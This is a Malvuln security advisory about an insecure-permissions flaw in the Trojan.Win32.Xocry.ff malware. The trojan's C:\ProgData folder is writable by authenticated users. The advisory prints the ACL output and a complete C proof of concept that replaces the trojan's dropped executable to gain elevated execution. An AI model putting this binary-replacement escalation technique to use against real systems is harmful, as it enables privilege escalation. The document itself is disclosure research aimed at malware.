Trojan.Win32.Xocry.ff Insecure Permissions

Trojan.Win32.Xocry.ff malware suffers from an insecure permissions vulnerability.


MD5 | 932a00f5f7015f7fbe93a8d4673539e6

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8f13116d46a7097e14ef971d48d6a203.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan.Win32.Xocry.ff
Vulnerability: Insecure Permissions
Description: Trojan Xocry.ff creates its c:\ProgData directory with an insecure ACL, handing over change permissions to any authenticated user allowing EoP.
Type: PE32
MD5: 8f13116d46a7097e14ef971d48d6a203
Vuln ID: MVID-2021-0050
Dropped files: C:\Users\[VICTIM]\AppData\Local\Temp\[RANDOM-NAME].exe
Disclosure: 01/23/2021


Exploit/PoC:
C:\>cacls C:\ProgData\ProgData.exe
C:\ProgData\ProgData.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\ProgData\\ProgData.exe"
#define TMP "C:\\ProgData\\2.exe"
#define DISABLED_TARGET "C:\\ProgData\\666.tmp"

/* Trojan.Win32.Xocry.ff.8f13116d46a7097e14ef971d48d6a203 */
/* Insecure Permissions EoP */
/* By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){
if(!FileExists(DISABLED_TARGET)){
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Trojan.Win32.Xocry.ff EoP PoC\n");
Sleep(1000);
printf("[+] Disabled Dropped ProgData.exe ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}
if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln ProgData dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Replaced ProgData EXE...\n");
printf("[+] Done!\n");
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Trojan.Win32.Xocry.ff PWNED!\n");
printf("[+] MD5: 8f13116d46a7097e14ef971d48d6a203\n");
printf("[+] By Malvuln\n");
system("pause");
}
}



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